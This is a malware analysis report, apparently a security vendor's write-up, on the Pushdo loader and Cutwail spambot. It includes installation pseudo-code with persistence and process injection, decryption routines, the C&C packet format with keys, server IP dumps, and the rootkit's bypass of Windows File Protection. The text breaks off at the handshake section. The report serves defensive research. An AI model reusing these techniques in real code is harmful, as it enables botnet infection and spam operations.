This application requires Javascript for optimal performance.

Pushdo and Cutwail: Enhancing Command and Control

Research and Analysis: Kyle Yang
Contributions by Derek Manky

Index:

0x10 Overview - The Pushdo/Cutwail Botnet

Cutwail was first identified around January 2007. It is the most common spambot (HTTP based) that is installed by Pushdo. Pushdo is a malware installation framework, commonly known as a "trojan downloader" or "loader", but frequently referred to as a botnet.

Since 2007, the Cutwail botnet has been damaged at least 3 times due to the cutting off its upstream providers (look to McColo and 3FN). In October 2009, we noticed it started to bounce back by delivering fake UPS/DHL emails attached with the Pushdo loader in order to recover. This was very agressive, in fact: Cutwail set record daily detection levels in November 2009.



Figure 1-1: Detected Cutwail activity from November 2009 Threat Landscape Report

All operations occur in memory instead of using the hard disk, aiming to prevent security vendors from detecting the core module of Pushdo/Cutwail. From the analysis below, we can see that much development effort went into the encryption and architecture of the installer module, as well as the communication between bots and servers.


0x20 Pushdo Binary Characteristics

Like Waledec, Pushdo also uses a custom packer (UPX with custom stub). The encrypted stub is in the resource section, which will be decrypted after being copied to newly allocated memory. Figure 2-1 shows the flow of unpacking:



Figure 2-1: Pushdo binary unpack flow

The decryption example shown in Figure 2-1 is as follows:


D9 0A 6A FA DE ^ 52 F5 3F 71 32 = 8B FF 55 8B EC

After the decryption, the de-UPX routine will be entered. After this, the Pushdo loader will be executed.


0x30 Pushdo Installation


0x31 Pushdo Installation Flow




Figure 3-1: Pushdo installation flow

0x32 Installation Pseudo-Code

Figure 3-1 shows the installation of the Pushdo loader system. Below is a pseudo-code listing derived from this flow:


void main() {

char    FileName[100];
char* Data;
char* Buffer;
char* CommandLine;
VOID* lpBuffer;
int NumberOfBytesWritten;

//Check OS Language. 0x0419 Russian.
if ( GetSystemDefaultUILanguage()&0xFF == 0x19 )
  {
    Delete_itself();
    ExitProcess(0); 
  }

GetEnvironmentVariableA("SystemRoot", &Data, 0x104);
strcat(Data, "\\System32\\reader_s.exe");
GetEnvironmentVariableA("USERPROFILE", &Buffer, 0x104);
strcat(Buffer, "\\reader_s.exe");

//Running as reader_s.exe??
if ( 0 == strcmpi(GetModuleFileNameA(0, FileName, 0x104), "reader_s.exe") )
  {
    //ReadFile
    if ( ReadFile(FileName, NumberOfBytesWritten) )
    {
      if ( NumberOfBytesWritten )
      {
        Running_Tag = 0;

        //Copy itself to %SystemRoot%\system32\reader_s.exe
        if ( Copy_Itself(&Data, lpBuffer, NumberOfBytesWritten) )
        {
          strcpy(CommandLine, "\"");
          strcat(CommandLine, &Data);
          strcat(CommandLine, "\"");
          strcat(CommandLine, " /n");

          //Execute
          if ( Create_Process(&CommandLine) )
            Running_Tag = 1;
        }

        //Copy itself to %USERPROFILE%\reader_s.exe
        if ( Copy_Itself(&Buffer, lpBuffer, NumberOfBytesWritten) )
        {
          if ( !Running_Tag )
          {
            strcpy(CommandLine, "\"");
            strcat(CommandLine, &Buffer);
            strcat(CommandLine, "\"");
            strcat(CommandLine, " /n");
            //Execute
            Create_Process(&CommandLine);
          }
        }

        //Delete itself using "cmd /c del [file location] >>NUL"
        Delete_itself();
        ExitProcess(0);
      }
    }
  }
  //If it's running as reader_s.exe, it will create a thread which will inject decrypted     
  // svchost.exe thread code into new created 
  CreateThread(0, 0, StartAddress, 0, 0, &ThreadId);
  while ( 1 )
  {
    Reg_SetValue(HKEY_LOCAL_MACHINE, "reader_s", 
    &Data,"Software\\Microsoft\\Windows\\CurrentVersion\\Run");
    Reg_SetValue(HKEY_CURRENT_USER, "reader_s", 
    &Buffer,"Software\\Microsoft\\Windows\\CurrentVersion\\Run");
    Sleep(20000);
  }
} 


0x33 Decrypt Injection Code Block Routine

Before Pushdo injects its code into svchost.exe, it will decrypt a code block which is in the Pushdo binary. This stage is shown as a red block in Figure 3-1. Figure 3-2 shows this decryption flow in more detail.



Figure 3-2: Decryption of injection code

0x34 Pseudo-Code Of Decrypt Injection Code Block

Below is a pseudo-code listing derived from the flow shown in Figure 3-2, with bytes 1 and 3 swapped:


int Decrypt_Injection_Code(int Start_Addr, unsigned int length)
{
  int result;
  int Temp;
  int count = 0;

  while ( count < length )
  {
    Temp = *( Byte *)(Start_Addr + count);
    *( Byte *)(Start_Addr + count) = *( Byte *)(Start_Addr + count + 3);
    *( Byte *)(Start_Addr + count + 3) = Temp;
    *( Byte *)(Start_Addr + count + 1) ^= 0x59;
    *( Byte *)(Start_Addr + count + 2) ^= 0x1B;
    count += 4;
  }
}


0x40 Pushdo Initial Communication

Once Pushdo is executed from svchost.exe, a series of events will occur that lead to the ultimate installation of the Cutwail spamming engine and Pushdu rootkit. This section details the reporting and retrieval process of the Pushdo bot agent (loader). In general, the steps are as follows:

  1. Gather System Information.
  2. Handshake with Selected Server.
  3. Retrieve Server List.
  4. Retrieve Rootkit.
  5. Report Data to Server.
  6. Retrieve Mail Relay List (MX).
  7. Retrieve Cutwail Spam Engine.
  8. Update Configuration via Registry.


0x41 Form System Information

  1. Sanity check by verifying the MZ header.
  2. Resolve necessary API addresses.
  3. Check registry data "HKLM\SOFTWARE\AGProtect", which contains last run server IP addresses.
  4. Copy hardcoded server IPs to process heap and store the heap offset in the memory.
  5. The next step is to gather system information. There are two main components during this phase, component one being a data block of encrypted information. This consists of several registry queries, storing the results and encrypting using a selected algorithm. Each encrypted result is then XORed with the previous steps result. This data component then used to create a mutex and for communication. Component two is for bot information, including a random identifier which will be used when communicating with the server. Figure 4-1 shows the logic flow of the steps detailed below, ultimately used to form the data used for communication with the server.

    • 5.1 Call "GetVolumeInformationA" to get C:\ volume info.
      • The result will be stored in the stack as 2 DWORDs. This information will be sent back to the server, so the server could know whether the process is running in a Virtual Machine environment. This does not seem to be checked though, as Pushdo does not use any anti-vm tricks.
    • 5.2 Query registry "HKLM\HARDWARE\DESCRIPTION\System\SystemBiosdate" to get the system bios date.
      • The result will be stored in the stack, and will then be encrypted three times, first using xor,shld,shl,shr. The second will use shld and shld, followed by a third layer of XOR. The three encryption routines A , B and C, are explained below with examples.

      Encryption Routine (Algorithm A):

      
      Orginal data: 30 38 2f 31 35 2f 30 38 00
      Data length: 9
      
      Encrypt 30
      00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 30 ^ 9) 
        << 3 = 00 00 00 00 00 00 01 c8
      Encrypt 38
      00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 38 ^ 00 00 00 00 00 00 01 c8) 
        << 3 = 00 00 00 00 00 00 0f 80
      Encrypt 2f
      00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 2f ^ 00 00 00 00 00 00 0f 80) 
        << 3 = 00 00 00 00 00 00 7d 78
      Encrypt 31
      00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 31 ^ 00 00 00 00 00 00 7d 78) 
        << 3  = 00 00 00 00 00 03 ea 48
      Encrypt 35
      00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 35 ^ 00 00 00 00 00 03 ea 48) 
        << 3 = 00 00 00 00 00 1f 53 e8
      Encrypt 2f
      00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 2f ^ 00 00 00 00 00 1f 53 e8) 
        << 3 = 00 00 00 00 00 fa 9e 38
      Encrypt 30
      00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 30 ^ 00 00 00 00 fa 9e 38) 
        << 3 = 00 00 00 00 07 d4 f0 40
      Encrypt 38
      00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 38 ^ 00 00 00 00 07 d4 f0 40) 
        << 3 = 00 00 00 00 3e a7 83 c0
      Encrypt 00
      00 00 00 00 00 00 00 00 | (00 00 00 00 00 00 00 00 ^ 00 00 00 00 3e a7 83 c0) 
        << 3 = 00 00 00 01 f5 3c 1e 00
      
      

      Encryption Routine (Algorithm B):

      
      Original data: 00 00 00 01 f5 3c 1e 00
      00 00 00 01 f5 3c 1e 00 << 3 = 00 01 f5 3c 1e 00 00 00
      
      

      Encryption Routine (Algorithm C):
      This algorithm simply switches the high part and low part of the result.

      Finally, after these 2 encryption routines finish the result will be XORed with the result of the last processed step (5.1):

      
      00 01 f5 3c 1e 00 00 00 ^ 00 00 00 00 d0 69 33 d2 = 00 01 f5 3c ce 69 33 d2
      
      

    • 5.3 Query registry "HKLM\HARDWARE\DESCRIPTION\System\VideoBiosDate" to get the system video bios date.
      • This result will be stored in the stack, and encrypted as well. First, algorithm A will be applied and then algorithm C. After encrypting with algorithm C, the result is XORed with the result of the last step (5.2).
    • 5.4 Query registry "HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier" to get the CPU model.
      • This result will be encrypted with algorithm A, and then XORed with the result of the last step (5.3).
    • 5.5 Query registry HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId to get the OS ID.
      • This result will be encrypted with algorithm A, and then XORed with the result of the last step (5.4).
    • 5.6 Retrieve the current value of the high-resolution performance counter by calling GetPerformanceCount. This will be used to form the session data block to uniquely identify the bot.
    • 5.7 Form the critical data block. The critical data block consists of both the original data block from the previous steps, as well as the bot version info block seen below.
    • 
      Original data block (Component 1):
      0009C7E0  01 00 37 00 00 00 C1 84 5D 78 B7 98 9D 24 E8 F1  .7...羷]x窐?桉
      0009C7F0  CE EA 05 00 00 00 01 00 00 00 28 0A 00 00 03 00  侮......(....
      0009C800  00 00 00 01 01 00 00 00 00 00 00 00 00 00 00 00  ..............
      
      Bot version info data block (Component 2). 
      This data structure will be illustrated in the section "0x42 Communication 
      between bot and server".
      0009CC40  00 00 00 41 00 00 00 50 52 4F 50 19 00 00 00 14  ...A...PROP...
      0009CC50  00 07 00 04 00 6C 64 72 76 65 72 00 37 00 00 00  ...ldrver.7...
      0009CC60  50 52 4F 50 28 00 00 00 19 00 07 00 13 00 77 69  PROP(......wi
      0009CC70  6E 76 65 72 00 05 00 00 00 01 00 00 00 28 0A 00  nver.......(..
      0009CC80  00 03 00 00 00 00 01 01                          .....
      
      

  6. Create Mutex - A mutex is then created by using the encrypted system info (original data block) from steps 5.1-5.5. Before this is done, the byte order of the resulting encrypted system info is reversed.


Figure 4-1: Critical data block formation for communication


0x42 Handshake Between Bot and Server

After the necessary information has been formed to communicate with the server, the next step is to perform the initial handshake. The following steps outline this process.

  1. Call QueryPerformanceCount twice. The 1st result will divide by 9, the remainder will be the initial var for selecting the first server IP address to be connected. The 2nd result will be stored in memory for packet data encryption.


  2. Figure 4-2: Encryption keys

    The data in the red circle is the hardcoded encryption key for encrypting the packet data header.
    The data in the blue circle is the result of 2nd QueryPerformanceCount, as the encryption key for encrypt the packet data.

  3. Try to establish the connection with selected server.
  4. Once the connection established, Pushdo will send the first packet which contains the encryption key obtained from step 1 (dynamic). This key will be used for data encryption / decryption.


  5. Figure 4-3: Pushdo sending the encryption key to server

  6. Bot information is then constructed with properties and headers. It is generated as follows:
    • 4.1 Add the uniq property (using encrypted system info, Component #1 in 0x41)
    • 
      00083660  50 52 4F 50 1B 00 00 00 16 00 05 00 08 00 75 6E  PROP......un
      00083670  69 71 00 C1 84 5D 78 B7 98 9D 24                 iq.羷]x窐??瓠
      
      

      All properties are identified by "PROP" tags. The header construction for this is detailed below:

      1. Write the content length. 08 00
      2. Write key word length. 05 00
      3. Write the PROP tag. 50 52 4F 50
      4. Write the whole data length. 1B 00 00 00
      5. Write the key word identifier. 16 00
      6. Write the content. C1 84 5D 78 B7 98 9D 24

      All "PROP" block generation follows the above steps except for "botstatus".
    • 4.2 Add the count property.
    • 4.3 Add the session property (taken GetPerformanceCount in 0x41).
    • 4.4 Add the vendor property.
    • 4.5 Add the ldrtype property.
    • 4.6 Add the ldrver and winver properties (ldrver is hardcoded, winver taken from.
    • 4.7 Add the botstatus property (Report Options).
      • 4.8 It will only add this property after the Rootkit installer has been launched.
    • 4.9 Append the string "RECV"

    After these stages, the constructed bot information may look as shown below:

    
    00083660  50 52 4F 50 1B 00 00 00 16 00 05 00 08 00 75 6E  PROP......un
    00083670  69 71 00 C1 84 5D 78 B7 98 9D 24 50 52 4F 50 18  iq.羷]x窐?PROP
    00083680  00 00 00 14 00 06 00 04 00 63 6F 75 6E 74 00 00  ......count..
    00083690  00 00 00 50 52 4F 50 1A 00 00 00 14 00 08 00 04  ...PROP.....
    000836A0  00 73 65 73 73 69 6F 6E 00 E8 F1 CE EA 50 52 4F  .session.桉侮PRO
    000836B0  50 19 00 00 00 14 00 07 00 04 00 76 65 6E 64 6F  P......vendo
    000836C0  72 00 11 00 00 00 50 52 4F 50 18 00 00 00 12 00  r....PROP....
    000836D0  08 00 02 00 6C 64 72 74 79 70 65 00 01 00 50 52  ..ldrtype..PR
    000836E0  4F 50 19 00 00 00 14 00 07 00 04 00 6C 64 72 76  OP......ldrv
    000836F0  65 72 00 37 00 00 00 50 52 4F 50 28 00 00 00 19  er.7...PROP(...
    00083700  00 07 00 13 00 77 69 6E 76 65 72 00 05 00 00 00  ...winver....
    00083710  01 00 00 00 28 0A 00 00 03 00 00 00 00 01 01 52  ...(.......R
    00083720  45 43 56 08 00 00 00                                        ECV...
    
    

    The following Table 4-1 describes each property formed and associated characteristics.

    Start Identifier (DD) Data Length (DD) Key Word Identifier (DW) Key Word Length (DW) Content Length (DW) Key Word Content Description
    50 52 4F 50
    PROP
    1B165875 6E 69 71 00
    uniq
    C1 84 5D 78 B7 98 9D 24Encrypted data of system info
    50 52 4F 50
    PROP
    18146463 6F 75 6E 74 00
    count
    00 00 00 00Sent packet counter
    50 52 4F 50
    PROP
    1A148473 65 73 73 69 6F 6E 00
    session
    E8 F1 CE EAPerformance count
    50 52 4F 50
    PROP
    19147476 65 6E 64 6F 72 00
    vendor
    11 00 00 00Hardcoded in Pushdo
    50 52 4F 50
    PROP
    1812826C 64 72 74 79 70 65 00
    ldrtype
    01 00Hardcoded in Pushdo
    50 52 4F 50
    PROP
    1914746C 64 72 76 65 72 00
    ldrver
    37 00 00 00Hardcoded in Pushdo
    50 52 4F 50
    PROP
    281971377 69 6E 76 65 72 00
    winver
    05 00 00 00 01 00 00 00 28 0A 00 00 03 00 00 00 00 01 01Windows version info
    50 52 4F 50
    PROP
    22190A0A62 6F 74 73 74 61 74 75 73 00
    botstatus
    34 00 00 00 00 00 02 10 00 00Running process info
    52 45 43 56
    RECV
    08N/AN/AN/AN/AN/AEnd of packet content
    Table 4-1: Send packet data structure

  7. Encrypt Packet Content.
  8. Two algorithms will be used to encrypt the packet data, one for the header and the other for the data.

    Encryption Algorithm 1 (Header):

    XOR "Start Identifier" and "Data Length" with hardcoded key, both 2 DWORDs in length.

    
    095050B0  45 9A B3 61 8E 20 3F 19     01 00 00 00     6F D7 04 F4  E毘a??...o?
    
    

    For example:

    
    50 52 4F 50 1B 00 00 00 ^ 45 9A B3 61   8E 20 3F 19 = 15 C8 FC 31   95 20 3F 19
    52 45 43 56 08 00 00 00 ^ 45 9A B3 61   8E 20 3F 19 = 17 DF F0 37   86 20 3F 19
    
    

    Encryption Algorithm 2 (Data):

    The first 3 bytes of the key which was sent in the first packet before the bot information was constructed are used to encrypt data. To demonstrate, we will use our example from Figure 4-2: 37 8A 3A

    Pushdo will then use different methods to encrypt the data based on the remainder of [data offset/4].

    RemainderMethod
    0Byte ^ 37
    1Byte - 8A
    2Byte + 3A
    3Byte ^ (3A + 8A)
    Table 4-2: Data encryption algorithms - based off 3 byte key 37 8A 3A

    For Example:

    
    Original data: 16 00 05 00 08 00 75 6E
    Encrypted data: 21 76 3f c4 3f 76 af aa
    
    

  9. After the packet header and data is encrypted, it will be sent out to the server on the already established session.



Figure 4-4: Sending data packet

0x43 Retrieve & Process Server List

Soon afterward, the server will send back the encrypted new server IP list.

Original data buffer example:


00300020  50 52 4F 50 AE 00 00 00 3E 76 40 C4 AD 76 AA B6  PROP?..>v@沫v
00300030  58 EE B3 C4 24 76 3A C4 37 76 8A C4 05 A7 72 EA  X畛?v:?v娔
00300040  01 A7 68 F3 19 AF 3A D2 37 76 3A C4 37 C6 3A F2  ???v:??
00300050  06 A4 6B F1 0F A4 6B F2 00 A4 6F FD 37 8E 3A C4  ????
00300060  37 76 3A 94 37 A7 71 F0 19 A7 6D F7 19 A7 6A F0  7v:???
00300070  19 A8 6B F4 37 8C 3A C4 37 76 3A 94 37 A8 6C F5  ╧???v:?╨
00300080  19 A8 6D F4 19 A8 68 F6 07 AE 3A D2 37 76 3A C4  ╩?╤???v:
00300090  37 C6 3A F2 06 A4 6B F1 0F A4 6B F2 00 A4 6F F6  7????
003000A0  37 8D 3A C4 37 76 3A 94 37 A8 6C F6 19 A7 6D FC  7??v:?╨?
003000B0  19 A7 6A FD 19 AF 73 C4 21 76 3A C4 37 76 8A C4  ?痵?v:?v娔
003000C0  01 AF 68 F5 01 A8 68 F5 06 AD 68 F1 07 76 00 00  痟?╤?環?v..

Decryption Algorithm 1 (Header):

As with the encryption, the header will be decrypted by XORing the original data with the hardcoded key.

Decryption Algorithm 2 (Data):

As with the encryption, the data will be decrypted with the inverse method based off the remainder of [data offset/4]. Table 4-3 shows this, again using our key example from Figure 4-2: 37 8A 3A

RemainderMethod
0Byte ^ 37
1Byte + 8A
2Byte - 3A
3Byte ^ (3A + 8A)
Table 4-3: Data decryption algorithms - based off 3 byte key 37 8A 3A

This is what the decrypted data buffer of the retrieved server list looks like:


00300020  50 52 4F 50 AE 00 00 00 09 00 06 00 9A 00 70 72  PROP?.....?pr
00300030  6F 78 79 00 13 00 00 00 00 00 50 00 32 31 38 2E  oxy......P.218.
00300040  36 31 2E 37 2E 39 00 16 00 00 00 00 00 50 00 36  61.7.9......P.6
00300050  31 2E 31 35 38 2E 31 36 37 2E 35 39 00 18 00 00  1.158.167.59...
00300060  00 00 00 50 00 31 37 34 2E 31 33 33 2E 31 30 34  ...P.174.133.104
00300070  2E 32 31 30 00 16 00 00 00 00 00 50 00 32 32 31  .210......P.221
00300080  2E 32 33 30 2E 32 2E 32 30 38 00 16 00 00 00 00  .230.2.208.....
00300090  00 50 00 36 31 2E 31 35 38 2E 31 36 37 2E 35 32  .P.61.158.167.52
003000A0  00 17 00 00 00 00 00 50 00 32 32 32 2E 31 33 38  ......P.222.138
003000B0  2E 31 30 39 2E 39 39 00 16 00 00 00 00 00 50 00  .109.99......P.
003000C0  36 39 2E 31 36 32 2E 31 31 37 2E 35 30 00 C6 C4  69.162.117.50.颇
003000D0  37 8A C6 C4 37 8A 00 00 00 00 00 00 00 00 00 00  7娖??.........

Based on the decrypted data, the process heap will be updated with the new server list and the memory offset will also be updated.


0x44 Retrieve & Process Rootkit

Several packets will typically be sent to update the server list ("PROP" tag in header). After this, the bot will receive the "FILE" tag, which when decrypted, will look like this:


00330020  46 49 4C 45 24 92 00 00 02 00 00 00 0B 00 01 00  FILE$?.... ..
00330030  00 92 00 00 34 00 00 00 52 6F 6F 74 4B 69 74 5F  .?.4...RootKit_
00330040  31 37 00 00 4D 5A 90 00 03 00 00 00 04 00 00 00  17..MZ?......
00330050  FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00  ..?......@...
00330060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00330070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00330080  D8 00 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C  ?.. ?.???L
00330090  CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63  ?This program c

When receiving file data, the bot will follow these steps:

  1. Get the file length data (red) from the header.
  2. Calculate a checksum value which will be used when reporting bot status. The following algorithm is used:
  3. CheckSum Algorithm:

    
        1.  00 00 5a 4d + 00 00 00 00  = 00 00 5a 4d
            00 00 5a 4d shr 10 + 5a 4d & ffff = 00 00 5a 4d
    
        2.  00 00 00 09 + 00 00 5a 4d  = 00 00 5a dd
            00 00 5a dd shr 10 + 00 00 5a dd & ff ff = 00 00 5a dd
    
        3.  00 00 00 03 + 00 00 5a dd = 00 00 5a e0
            00 00 5a e0 shr 10 + 00 00 5a e0 & ffff = 00 00 5a e0
    
        4.  00 00 00 00 + 00 00 5a e0  = 00 00 5a e0
            00 00 5a e0 shr 10 + 00 00 5a e0 & ffff = 00 00 5a e0
            ......
            
            Iterations = File Length / 2
    
    

    The final result, in our example "02 10 00 00", will be stored in the stack.

  4. Perform sanity check by checking 'MZ' header.
  5. Check header data (blue): if a result of 1 occurs after a logical AND, a temporary file will be created first before injection. A new svchost.exe process will be created in suspend mode, and decrypted code will be injected and executed by resuming the svchost.exe process. During our analysis, no temporary files were created - downloaded code was directly injected as they seemed to be critical components, such as the rootkit.
  6. Use the return value of CreateProcess to feed the Bot Status Data Zone.


0x45 Bot Report Data

After retrieving a file, the Pushdo bot agent will send a report to the server. It will first update its bot status data in memory, which will includes the following:

  • Running process counter
  • Process address
  • File length
  • Checksum value
  • File version

Only the checksum value and file version are sent to the server. This is interesting, because these parameters are used by the server to decide the next action. For example, if the checksum and file version relate to the rootkit, the server will send the next component. If the rootkit was failing, it will attempt to re-send the rootkit. This protocol allows dynamic action on the server part, and certainly makes Pushdo's communication more robust. The report data sent to the server consists of tags which include (Refer to Table 4-1 for more information):

  • uniq
    • Encrypted data from
  • count
    • Packet count
  • session
    • Random communication identifier
  • vendor
  • ldrtype
  • botstatus
    • Checksum value
    • File version

Example of sent packet data:


00083400                          50 52 4F 50 1B 00 00 00          PROP...
00083410  16 00 05 00 08 00 75 6E 69 71 00 45 19 CB F8 37      ...uniq.E锁7
00083420  52 55 32 50 52 4F 50 18 00 00 00 14 00 06 00 04      RU2PROP.....
00083430  00 63 6F 75 6E 74 00 03 00 00 00 50 52 4F 50 1A      .count....PROP
00083440  00 00 00 14 00 08 00 04 00 73 65 73 73 69 6F 6E      ......session
00083450  00 BA F9 DF 5C 50 52 4F 50 19 00 00 00 14 00 07      .葫運PROP....
00083460  00 04 00 76 65 6E 64 6F 72 00 11 00 00 00 50 52      ..vendor....PR
00083470  4F 50 18 00 00 00 12 00 08 00 02 00 6C 64 72 74      OP......ldrt
00083480  79 70 65 00 01 00 50 52 4F 50 22 00 00 00 19 00      ype..PROP"....
00083490  0A 00 0A 00 62 6F 74 73 74 61 74 75 73 00 34 00      ....botstatus.4.
000834A0  00 00 00 00 02 10 00 00 52 45 43 56 08 00 00 00  ......RECV...


0x46 Retrieve & Process Spam Engine (Cutwail)

After the Rootkit process has been run through svchost.exe, the next file typically received is the spam engine (Cutwail). The same steps will then be taken from 0x44 and 0x45: processing, execution and reporting. Here is an example of the decrypted mailer FILE packet received from the server:


00330020 46 49 4C 45 2A 5E 04 00 00 00 00 00 11 00 01 00    FILE*^..........
00330030 00 5E 04 00 12 00 00 00 4D 61 69 6C 65 72 5F 52    .^......Mailer_R
00330040 53 31 5F 65 6D 70 74 79 00 00 4D 5A 90 00 03 00    S1_empty..MZ?..
00330050 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00    ........?....
00330060 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00    ..@.............
00330070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00330080 00 00 00 00 00 00 F0 00 00 00 0E 1F BA 0E 00 B4    ......?....?.?
00330090 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F    .??L?This pro


0x47 Retrieve & Process Spam Controller List

After processing the spam engine, the next downloaded file is an associated component - the server/controller list. Again, the same processing, execution and reporting steps are taken. The list consists of multiple entries using the format "/host: IP /port: xx", where IP is the controller and xx is the associated port. These controllers will later be used by Cutwail for C&C.


0x48 Update Configuration Registry Entry

After all components are downloaded, the registry will then be updated with the newest server list. The following steps are taken:

  1. Call SystemPerformanceCount to generate a random number as the initial encryption key.
  2. Copy the initial key, server list to the stack.
  3. Encrypt data on the stack.
  4. Encryption Algorithm Example:

    
    Key Generation:
    
        Initial Key: 1b 4a 00 f2
    
        1b 4a 00 f2 >> 18 = 1b  <---1st key
    
        mod(1b 4a 00 f2/3) = 1
        1<<3 = 8
        (1b 4a 00 f2) >> 8 = 00 1b 4a 00        
        (00 1b 4a 00) & 0xff = 00 <---2nd key
    
    Data Encryption:
    
        1. 11 - 1b = f6
    	f6 ^ 00 = f6
        2. 00 - 1b = e5
    	e5 ^ 00 = e5
        3. 00 - 1b= e5
    	e5 ^ 00 = e5
        4. 00 - 1b= e5
    	e5 ^ 00 = e5
        5. 07 - 1b= ec
    	ec ^ 00 = ec
    ....
    
    

  5. Add all of encrypted data byte by byte, store the result on the stack.
  6. Store the above result, the encryption key and encrypted data data in the registry key "HKEY_LOCAL_MACHINE\SOFTWARE\AGProtect" for future use.


0x50 Pushdo Rootkit

This section will examine the downloaded rootkit component from 0x44. This component comes with an installer and a module.


0x51 Rootkit Installer

The installer will drop and install the rootkit module as "ndis.sys" using these steps:

  1. Perform sanity check.
  2. Resolve API addresses.
  3. Set process priority to realtime.
  4. Set thread priority to realtime critical.
  5. Get windows version.
  6. Decrypt the overlay.
  7. Read ndis.sys file content.
  8. Disable Windows File Protection for 60 seconds in order to replace ndis.sys file. This is done by using a function in "sfc.dll". More specifically, the installer will append its rootkit at the end of the original ndis.sys file (see next step).[1]
  9. Create ndis.sys file in %SystemRoot%\system32\driver\ and %SystemRoot%\system32\dllcache\.

Ironically, once the Windows File Protection re-enables, Pushdo's injected rootkit will now be protected.


0x52 Rootkit Module

The installed rootkit module will then perform the following actions:

  1. Check Windows service pack version by querying the registry entry "HKLM\SYSTEM\CurrentControlSet\Control\Windows\CSDVersion".
  2. Inject the decrypted code into services.exe.

This rootkit's main function is to make sure the original Pushdo installer will be loaded when computer is started.


0x60 Cutwail Spam Engine

This section will examine the downloaded spam engine component from 0x46. When this component is executed, it will send an initial communication packet to the server. The list of servers was retrieved in 0x47 by the Pushdo loader. The following steps are detailed:

  1. Initial communication.
    • Retrieve updated information from controller
  2. Handshake.
    • Retrieve bot identifier and external IP address
  3. Receive Spam content.
    • Recipient addresses and associated MX server
    • Spam template
    • Spoofed "From" addresses


0x61 Initial Communication

This packet contains basic bot information, such as the Windows version. Cutwail will send this to the server, and receive a response which includes a header with an initial communication and data length tag. The header is followed by encrypted data, which when decrypted will contain updated information and a communication flag for the session. In our example, the communication flag used was "CA". The updated information includes new server/controller IPs and configuration parameters such as timeouts. The updated server list is not stored in the registry like Pushdo.


Sent Request Packet Data:
00000000  cf 16 00 00 01 00 00 00  74 00 00 00 00 00 00 00 ........ t.......
00000010  00 00 00 00 05 01 28 0a  02 00 00 00 00 00 00 00 ......(. ........

Received Header Data:
03E2FF4C  07 00 00 00 98 01 00 00 00 00 00 00              ...?......?..

07 00 00 00: The initial communicate tag.
98 01 00 00: The data length.

The decryption algorithm for the received data is as follows:

  1. XOR with the fixed hardcoded key "reva gurd iuh an it ak-lehsoP".
  2. A different decryption algorithm will be applied based on the key block number:
    • Odd Block: Swap the value of 1 and 29, 2 and 29, 3 and 27
    • Even Block: Swap the value (same as odd), and NOT the data
  3. If the data length is less than 0x1D (fixed key length), it simply swap and NOT the data.


Decrypted Response Data:
003FF3C8  01 00 00 00 CA 00 00 00 61 64 64 72 00 37 38 2E  ...?..addr.78.
003FF3D8  31 35 39 2E 31 30 32 2E 31 30 35 00 70 6F 72 74  159.102.105.port
003FF3E8  00 33 32 32 31 32 00 6B 6E 6F 63 6B 64 65 6C 61  .32212.knockdela
003FF3F8  79 00 36 30 00 73 61 76 65 75 6E 6B 61 6E 73 77  y.60.saveunkansw
003FF408  00 00 74 75 72 62 6F 6D 69 6E 00 31 30 00 74 75  ..turbomin.10.tu
003FF418  72 62 6F 6D 61 78 00 31 32 00 6D 78 72 65 63 76  rbomax.12.mxrecv
003FF428  74 69 6D 65 6F 75 74 00 38 30 00 6D 78 63 6F 6E  timeout.80.mxcon
003FF438  6E 74 69 6D 65 6F 75 74 00 36 30 00 6D 61 78 74  ntimeout.60.maxt
003FF448  72 79 62 61 64 66 72 6F 6D 00 31 00 6D 61 78 74  rybadfrom.1.maxt
003FF458  72 79 63 6F 6E 6E 00 33 23 23 23 23 00 6D 61 78  ryconn.3####.max
003FF468  74 72 79 65 72 72 00 31 00 6D 61 78 74 72 79 62  tryerr.1.maxtryb
003FF478  6C 61 63 6B 00 31 00 6D 61 78 64 6F 6D 63 6F 6E  lack.1.maxdomcon
003FF488  6E 00 32 00 6D 61 78 63 6F 6E 6E 00 32 30 30 00  n.2.maxconn.200.
003FF498  6D 61 78 75 64 70 74 72 79 00 35 00 75 64 70 72  maxudptry.5.udpr
003FF4A8  65 63 76 74 69 6D 65 6F 75 74 00 32 30 00 63 68  ecvtimeout.20.ch
003FF4B8  65 63 6B 73 6D 74 70 64 65 6C 61 79 00 32 34 30  ecksmtpdelay.240
003FF4C8  00 75 64 70 73 6F 63 6B 63 6F 75 6E 74 00 31 36  .udpsockcount.16
003FF4D8  00 63 6F 6E 73 74 63 6F 6E 6E 65 63 74 00 31 00  .constconnect.1.
003FF4E8  68 65 6C 6F 73 65 6C 65 63 74 69 66 68 6F 73 74  heloselectifhost
003FF4F8  00 33 00 74 72 79 70 69 70 65 6C 69 6E 69 6E 67  .3.trypipelining
003FF508  00 31 00 62 6F 74 5F 63 6F 6E 74 72 5F 64 69 76  .1.bot_contr_div
003FF518  00 00 64 69 65 69 66 6E 6F 73 70 61 6D 00 30 00  ..dieifnospam.0.
003FF528  64 69 65 69 66 6E 6F 73 70 61 6D 00 30 00 64 69  dieifnospam.0.di
003FF538  65 69 66 6E 6F 73 70 61 6D 00 30 00 64 69 65 69  eifnospam.0.diei
003FF548  66 6E 6F 73 70 61 6D 00 30 00 64 69 65 69 66 6E  fnospam.0.dieifn
003FF558  6F 73 70 61 6D 00 30 00 00 00 00 00 00 00 00 00  ospam.0.........


0x62 Handshake Between Bot and Server

